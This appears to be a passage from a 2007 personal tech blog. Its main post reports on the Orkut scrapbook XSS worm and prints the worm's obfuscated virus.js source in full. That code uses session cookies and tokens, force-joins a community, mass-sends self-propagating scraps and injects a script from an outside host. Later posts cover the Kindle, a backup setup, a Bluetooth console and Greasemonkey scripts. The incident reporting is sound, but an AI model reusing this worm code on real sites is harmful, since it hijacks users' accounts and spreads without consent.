virus.jsfile. The Javascript code in that file first joins you in the community called Infectatos pelo Virus do Orkut (in English - Infected by the Orkut Virus) and then sends the same flash file as a scrap to as many people in your friends list as possible. So when each of your friends sees their Scrapbook, they in turn start propagating the worm to their friends, etc.Friends don't let friends use raw HTML would be a good maxim for everyone to follow ;-)
It's fair to say that almost every member of that community was an involuntary signup. So based on the reported peak size of the community, more than 655,000 users were affected.
The attack was apparently without malicious intent and done just to highlight the security problems with such networking sites. Although the motives might by clean, I question the modus operandi. McAfee folks have named this W32/KutWormor.
This post got linked from various places including several bloggers, News.com, ZDNet and Valleywag(!). But, like Valleyway points out, if this had happened on MySpace or Facebook, it would be all over the US media.
No official word from Orkut yet on this except this reply in a forum thread. Amusingly, the list of suggestions offered in that reply to 'stay safe' wouldn't have helped at all with this worm! This worm would have worked anyway unless you had Flash and/or Javascript disabled.
Curiously enough, the official Orkut blog got a new post during/after this incident but the post says absolutely nothing about what happened!
That's the summary and hopefully the last update here! The original post covering this worm follows below.
Someone (maybe Rodrigo Lacerda, see below) seems to have found an XSS attack for Orkut. A piece of javascript code, named virus.js and fetched from a myopera location, somehow made its way into my Orkut session and started scrapping everyone possible at a break-neck speed. My friends reported Spanish Portuguese (see first comment below) language scraps with some Flash content from me while I've seen similar scraps in my Scrapbook.
From my initial Firebug console digging, this code sneaks in when opening the Scrapbook page. And the attack code is fetched just after loading gtalknotifier004.js so perhaps there's an XSS hole in that script. Not sure though, I'm a JS newbie :-)
For now, don't log on to Orkut! Or if you use Adblock, just block anything named *virus.js
Does anyone know how the hell should I report such stuff to Orkut? I can't seem to locate any vulnerability report form in their support pages.
Update: If you've blocked the virus.js file, log in and check your communities. You'll see an extra one! If you aren't able to unjoin the community, don't panic. I believe it's just an automated throttling response by Orkut's systems as a response to the massive scrapping initiated from our account. Should be fixed in a few hours.
Update: The embedded flash in the notorious scrap (2008 vem ai... que ele comece mto bem para vc) is also part of the exploit. I don't know exactly what it does since I use Flashblock all the time! Also, some blogs are suggesting changing of passwords. I don't think that's needed since I don't believe passwords have been compromised. Of course, don't treat my opinion as infallible advice, do what you must. I know I'm not changing my password just because of this!
Update: Reader Steve (thanks!) informs me in the comments below that this hole was reported sometime back and was already fixed. From this page:
On November 8th 2006 Rajesh Sethumadhavan discovered a type 2 vulnerability in the social network site Orkut which would make it possible for orkut members to inject HTML and JavaScript into their profile. Rodrigo Lacerda used this vulnerability to create a cookie stealing script known as the Orkut Cookie Exploit which was injected into the orkut profiles of the attacking member(s). By merely viewing these profiles unsuspecting targets had the communities they owned transferred to a fake account of the attacker. On December 12th Orkut had fixed the vulnerability.
And the actual report referenced in the above quote: Orkut Group Cross Site Scripting Vulnerability. I don't know enough to say whether the situation we are seeing today is due to the same vulnerability.
Update: People seem to think that somehow they were responsible for facilitating this attack. Like perhaps they clicked on a bad link or something. From what I understand, this isn't a phishing attack and there's nothing you could've done to prevent this. Except, maybe, not visiting Orkut.com!
Update: Apparently fixed!. The virus.js file is no longer fetched and all the spam scraps in my scrapbook have disappeared. I could unjoin the 'special' community too, which at this point of time has 390,262 members which means (at least) 390,262 affected users. That's not good!
Update: More from Reader Steve in the comments. Apparently, the community that we all are involuntarily a part of now, is some kind of vigilante community created just to make a point that these systems are insecure. Steve's comment:
The infected group is called "Infectados pelo VĂrus do Orkut" and has nearly 400K members (minus me now).
The group description (loosely translated via Babelfish) is:
In computer science, a virus is a malicious program developed by programmers who, such as a biological virus, infectum the system, makes copies of itself exactly and tries to spread itself for other computers, using itself of diverse ways. Return more for the community SEES AS IF TO PROTECT Click With this you if not to want here. CALM! If you lode to stop in this community, is certain that no data its were stolen and nor go to be, is not this my objective. If I will be certain, in the end of everything, this community I must I am crowded of people. This to only show as orkut can be dangerous, you came to stop here without clicar in none link absolutely malicious, everything was made reading scraps.
Update: Some readers have kindly posted deobfuscated versions of the virus.js script. Thanks! Since they weren't fitting well in the comments below, I've moved them to a pastebin site. See version 1 and version 2. I'll post some analysis if I get time to do some!
The script is fetched from here: http://files.myopera.com/virusdoorkut/files/virus.js
function $(p,a,c,k,e,d) {
e=function(c) {
return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
};
if(!''.replace(/^/,String)){
while(c--){d[e(c)]=k[c]||e(c)}
k=[function(e){return d[e]}];
e=function(){return'\\w+'};
c=1
};
while(c--){
if(k[c]){
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
}
}
return p
};
setTimeout(
$('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}
L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};
7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");
8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1){h=l.S(A);6(h!=0){b 2h}}16{h+=2};
5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};
7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};
7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7(){6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");
t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0));f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};
3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);
3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};
7 V(){6(j==8.18("N").M){b};
5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>[1j]25 "+i F()+"[/1j]<1k/><13 1o=\\"o://k.w.p/28.z\\" 2a=\\"Q/x-2c-2d\\" 2e=\\"2g\');
r=8.1n(\'r\');r.1o=\'o://1p.2k.p/2n/1p/1s.1t\';8.D(\'1w\')[0].1f(r);19(\'\\" 1C=\\"1\\" 1E=\\"1\\"></13>";
5 a="15.1I=1&H="+n(q)+"&I="+n(I)+"&K="+n(E)+"&1T="+8.18("N").O(j).P;5 3=B();
3.R("q","o://k.w.p/2i.z",C);3.12("10-1e","Q/x-k-17-1b;");
3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\'s\',j,d);V()}}};
6(!v(\'s\')){5 d=i F;d.1d(d.1h()+11);W(\'s\',\'0\',d)};j=v(\'s\');T();
',62,150,'|||xml||var|if|function|document|domain|send|return|path|wDate||select|name|begin|new|index|
www|dc|expires|encodeURIComponent|http|com|POST|script|wormdoorkut|div|end|getCookie|orkut||cookie|aspx
|prefix|createXMLHttpRequest|true|getElementsByTagName|SIG|Date|loadFriends|POST_TOKEN|scrapText|null|
signature|catch|length|selectedList|item|value|application|open|indexOf|cmm_join|secure|sendScrap|setCookie|
readyState|onreadystatechange|try|Content|86400|setRequestHeader|embed|ActiveXObject|Action|else|form|
getElementById|escape|status|urlencoded|200|setTime|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|
createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|GMT|go|GET|Compose|width|innerHTML|height|option|
setAttribute|id|submit|style|display|none|removeChild|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|
history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|raw|LoL|Msxml2|type|Microsoft|shockwave|flash|
wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera
|XMLHttpRequest|substring|virusdoorkut|CGI|Page'.split('|'),0,{}),1
);
author="Rodrigo Lacerda"
techtalk | 30 comments | permalink | 19.12.2007 12:08 SGT
On Kindle
This is the Amazon Kindle - the latest e-book reader to hit the market.
Many technology pundits and early adopters haven't taken too kindly to the device, citing it's closed nature as a show-stopper. However, I like the device. And isn't that all that matters? :-)
I am not so concerned about the inability to lend books, platform lock-down etc. I envisage buying only books with limited shelf life so format longevity is not a concern. I mean if you bought Thinking in Java or the Django book, do you really think you will be interested in reading those books ten years down the line? Plus, $9.95 is a great price for such books! Of course, S$9.95 would be even better ;-) And this is a complete no-brainer for software books where technology changes at a phenomenal pace. I'd rather have the JavaScript Definitive Guide by my side with full text search on Kindle than have a bulky paperback of the same which I'll have no use for an year from today.
When a book isn't available locally, I have to worry about how long it'll take to ship from the US and how much the shipping will cost. With Kindle (modulo availability in Singapore), all those worries are gone! It's just instant consumption.
Built in dictionary & wikipedia lookup? Sweet! I can't tell you the number of times I've put down a Stephenson novel to open the laptop and wiki search something.
Having said all that, the Kindle still misses a few things which would make me buy it immediately (again, modulo availability in the little red dot). Here's what will hit the sweet spot for me:
- Cheaper, say $100-$150.
- Touch sensitive screen - to doodle and make notes.
- Better looking. Even if it's not as svelte as the Sony or the Seiko, at least lose the keyboard.
- PDF Support!
Actually, just make it cheaper and I'd buy. I'm sure someone will write a PDF->PRC/MOBI converter and I would stop caring about the looks ten minutes after unpacking the thing. As for the touch screen, there's always an upgrade to buy ;-)
techtalk | 2 comments | permalink | 21.11.2007 23:07 SGT
Seagate FreeAgent
I bought a Seagate FreeAgent 320GB external USB drive this weekend and finally put an automated backup system in place. Steps involved:
- The FreeAgent comes pre-formatted as a NTFS drive. I reformatted it to ext3.
- The drive goes to sleep after some period of inactivity. The current kernel doesn't automatically wake it up so you get I/O errors when writing to the disk after it has gone to sleep. The fix is simple.
I created a list of directories to backup and then created a couple of cron entries to run rdiff-backup every morning.
root@cellar:~# crontab -l 30 4 * * * rdiff-backup --remove-older-than 3W /mnt/freeagent/cellar-backup 2>&1 >/dev/null 50 4 * * * rdiff-backup --exclude-fifos --exclude-sockets --include-globbing-filelist \ /home/antrix/backup/rdiff-backup-filelist / /mnt/freeagent/cellar-backup 2>&1 >/dev/null
Now I've got daily backups with an option to retrieve stuff from upto three weeks earlier. Seriously, this was so easy, I wish I'd done it sooner. Thankfully, nothing catastrophic occurred in the meantime! Plus, this is a live backup - much better than burning CDs marked with Photos from 2006, etc.
For reference, here's rdiff-backup-filelist:
antrix@cellar:~$ cat backup/rdiff-backup-filelist
- /home/antrix/.mozilla/firefox/**/Cache
- /home/antrix/.thumbnails
- /home/antrix/.local/share/Trash
- /home/antrix/tmp
- /home/antrix/Downloads
/home/antrix
/etc
/share/Books
/share/Music
- **
antrix@cellar:~$
The performance of this drive seems pretty good considering it's just a USB 2.0 unit. Raw disk throughput on this 7200RPM disk, as measured by hdparm -t -direct /dev/sdc, averaged 29.4 MB/sec. I could push this up to 33.4 MB/sec by setting max_sectors to 1024. For comparison, the internal SCSI disks (also 7200RPM Seagates) averaged 74.7 MB/sec.
techtalk | 0 comments | permalink | 28.10.2007 13:52 SGT
Nokia Bluetooth Serial Console
This post would be of interest to the tiny fraction of the world population which has:
- A Nokia S60 phone with bluetooth capability.
- A computer running Linux. Specifically Ubuntu Gutsy.
- A bluetooth interface on the computer.
- A Python installation on the phone.
- An inability to connect the Python bluetooth console on the phone to the computer.
If by chance you happen to be part of that tiny fraction, read on.
When I was running Kubuntu Feisty, getting the bluetooth connection up and running was a complete snap. Basically, it just worked. Which was a good thing then but a bad thing now since on Gutsy, it just doesn't work and it took me quite a while to figure out how to set it up myself.
As it turns out, the KDE Bluetooth framework is undergoing some massive code refresh and as things stand, the latest version of the framework doesn't include quite a bit of the functionality that was present in the earlier releases. And it just so happens that Gutsy ships with this latest version. Which means that the stuff that KDE Bluetooth did automatically for me in Feisty, needs to be done manually in Gutsy.
So here we go. First, make sure your phone is visible to the PC by running hcitool scan in a shell.
antrix@cellar:~$ hcitool scan
Scanning ...
00:18:C5:44:49:9E marvin
Make note of your phone's bluetooth address. Next, edit /etc/bluetooth/rfcomm.conf and configure it for use with the phone. The contents should read:
rfcomm0 {
bind no;
# replace with you phone's bluetooth address.
device 00:18:C5:44:49:9E;
channel 2;
comment "Nokia N73 - Marvin";
}
Another problem with Gutsy is that /etc/bluetooth/hcid.conf doesn't have a pin_helper configured. This is the program that's supposed to ask you for a PIN when you make a bluetooth connection from the phone. A quick work around is to just set a passkey in hcid.conf and then restart the bluetooth stack (sudo /etc/init.d/bluetooth restart).
Once the configuration steps are done, initiate a bluetooth device pairing from the phone and when the phone prompts for a passkey, just input the one set in hcid.conf.
Now we'll test if the serial link works. Run this in a shell:
antrix@cellar:~$ sudo rfcomm bind /dev/rfcomm0
antrix@cellar:~$ rfcomm
rfcomm0: 00:18:C5:44:49:9E channel 2 clean
Then, open a serial connection to /dev/rfcomm0 using a serial communication tool such as minicom. We'll just use good old screen.
antrix@cellar:~$ screen /dev/rfcomm0
You should get a blank screen. Type AT and press enter. That should get you an OK from the phone. If you speak the AT command set, you can try more commands like typing ATDT 98898998 and your phone should start dialing that number. (Anyone remember using serial modems to make dial up networking connections?!)
Quit screen (Ctrl+a followed by \). Then:
antrix@cellar:~$ rfcomm
rfcomm0: 00:18:C5:44:49:9E channel 2 closed
antrix@cellar:~$ sudo rfcomm release /dev/rfcomm0
antrix@cellar:~$ rfcomm
Releasing the channel makes it available for use again. Now we'll start a listener on /dev/rfcomm0 to which the Python Bluetooth console will connect.
antrix@cellar:~$ rfcomm listen /dev/rfcomm0 2
Waiting for connection on channel 2
Then open Python shell on the phone and from Options, launch Bluetooth console. When prompted on which device to connect to, connect to your computer. If you get an error on the phone that says, 'No serial ports found!', then on the computer run sdptool add --channel=2 SP which'll advertise a serial port service on channel 2. Reinitiate the bluetooth console connection from the phone.
Once the bluetooth serial link is established, our console where rfcomm is patiently listening will print:
antrix@cellar:~$ rfcomm listen /dev/rfcomm0 2
Waiting for connection on channel 2
Connection from 00:18:C5:44:49:9E to /dev/rfcomm0
Press CTRL-C for hangup
Then, open a new shell and once again, use screen or minicom to open a connection to /dev/rfcomm0. If all went well, you should be greeted by the familiar Python console:
print u"hello"
hello
>>>
>>> import appuifw
>>> appuifw.note(u"hello world")
>>>
HTH!
techtalk | 0 comments | permalink | 25.10.2007 00:54 SGT
Greasemonkey Scripts
I wrote a couple of trivial Greasemonkey scripts for my use and I thought they'd be useful for some of you too.
The first is for Rediff. On Rediff, the Headlines tab contains perhaps two lines of news and the rest is devoted to tabloid stuff. So I wrote a script which'll automatically switch to the News tab when the page loads. Install: Rediff News First.
The second script is for Indian Express. Regular readers will know that the Indian Express story pages are just plain horrible. They are full of flash gimmicks and other doo-dads. To make matters worse, they even sneak in a pop-under ad from time to time. To get rid of all that, I wrote a script which simply redirects to the printer friendly version of a story. Install: Indian Express Printer Friendly.
techtalk | 0 comments | permalink | 15.10.2007 14:15 SGT








